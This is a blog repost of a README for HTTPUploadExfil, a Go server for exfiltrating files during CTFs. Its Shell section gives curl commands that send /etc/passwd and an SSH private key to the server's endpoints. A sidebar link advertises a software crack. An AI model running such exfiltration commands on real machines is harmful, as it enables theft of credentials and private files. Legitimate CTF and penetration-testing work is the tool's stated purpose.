Linchakin

HTTPUploadExfil - A Simple HTTP Server For Exfiltrating Files/Data During, For Example, CTFs

 October 29, 2021     No comments   

HTTPUploadExfil is a (very) simple HTTP server written in Go that's useful for getting files (and other information) off a machine using HTTP. While there are many use-cases, it's meant to be used in low-stakes offensive scenarios (e.g., CTFs).

Think of this as python3 -m http.server but for getting data off a machine instead of on the machine.

Obviously, this is a very loud and somewhat restricted way of exfiltrating data. Nevertheless, it's quite handy and somewhat easier than, for example, using SMB or FTP. If you are looking for something more elegant, have a look at, for example, dnsteal or PyExfil.

TL;DR
  1. Build the tool using go build.
  2. Run ./httpuploadexfil :1337 /home/kali/loot on your machine.
  3. Access http://YOUR_IP:1337/ on the machine you need to exfiltrate data from.
  4. Find your uploaded files in /home/kali/loot.

If you need HTTPs, look at the information below.


Building and Developing

While there are binaries available, it's absolutely recommended to build this on your own. This way, you will have the newest version, and you will also know exactly what you're running. The process is trivial:

Simply run go build within the folder, and you should get an httpuploadexfil executable for your platform.

If you make changes to the tool, remember to format using go fmt main.go.


Usage

The most common use case would be to run the server on Machine A. Now, on Machine B you access the upload form using a browser and select a file to exfiltrate. Of course, as you can see below, this can also be done using, for example, curl.

Aside from uploading files, you can also use HTTPUploadExfil to exfiltrate data using simple GET requests. If a request is sent to the \g endpoint, the whole request will be stored to disk.

Hence, you can exfiltrate data using the header of the request. It's easiest to use GET parameters (e.g., ?data=...), but there are other options.

By default, HTTPUploadExfil will be served on port 8080. All files will be written to the current directory.

./httpuploadexfil

You can also provide some arguments:

./httpuploadexfil :1337 /home/kali/loot

The first argument is a bind address, the second one the folder to store files in.

The tool will also expose the files in the loot directory under the /l endpoint. This can be used as an easy way to bring files onto the target.


Endpoints

The webserver exposes four endpoints for you to use:

  1. / (GET) is the upload form.
  2. /p (POST) takes the data from the upload form. It requires a multipart/form-data request with the file field filled.
  3. /g (GET) will take any GET request and store the full request on the server.
  4. /l (GET) will provide access to files in the specified folder (Directory Listing). This is to provide basic python3 -m http.server functionality.

HTTPs Mode

HTTPUploadExfil can also be used in HTTPs mode. To do so, simply place a HTTPUploadExfil.csr and HTTPUploadExfil.key file next to the binary. These can be, for example, generated as follows:

openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr

If the servers sees a HTTPUploadExfil.csr file, it will try to start in HTTPs mode. To go back to HTTP, simply remove or rename the certificate files.


Shell

Using Bash, we can exfil data using GET via, for example:

echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g

Of course, we can also use curl to exfil files:

curl -F [email protected]/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p


ToDo

Adblock test (Why?)


You may be interested in:
>> Is a Chromebook worth replacing a Windows laptop?
>> Find out in detail the outstanding features of Google Pixel 4a
>> Top 7 best earbuds you should not miss

Related Posts:
>> Recognizing 12 Basic Body Shapes To Choose Better Clothes
>>Ranking the 10 most used smart technology devices
>> Top 5+ Best E-readers: Compact & Convenient Pen
  • Share This:  
  •  Facebook
  •  Twitter
  •  Google+
  •  Stumble
  •  Digg
Email ThisBlogThis!Share to XShare to Facebook

Related Posts:

  • Intel: Under attack, fighting back on many fronts At first glance, Intel doesn’t look like a company under siege. In its last fiscal year, it recorded $77.8 billion in sales and $20 billion in profit… Read More
  • Laravel Vs. CodeIgniter: Which Is The Better PHP Framework PHP has been leading the development and scripting language. PHP powers almost 80% of the modern websites that we see today. After its launch, it wa… Read More
  • Wise Care 365 Pro 5.9.1 Build 583 Crack + License Key 2022Wise Care 365 Pro 5.9.1 Lifetime with Crack Free Download Wise Care 365 Pro 5.9.1.583 Crack latest version is an outstanding PC speed boosting … Read More
  • VMware gears up for a challenging future After a big year of change in everything from its ownership and executive suite to its cloud and network offerings, VMware is girding for battle in t… Read More
  • Best Android Phones: September 2021 You may be interested in: >> Is a Chromebook worth replacing a Windows laptop? >> Find out in detail the outstanding features of Google P… Read More
Newer Post Older Post Home

0 Comments:

Post a Comment


Copyright © 2025 Linchakin | Powered by Blogger
Design by Hardeep Asrani | Blogger Theme by NewBloggerThemes.com | Distributed By Gooyaabi Templates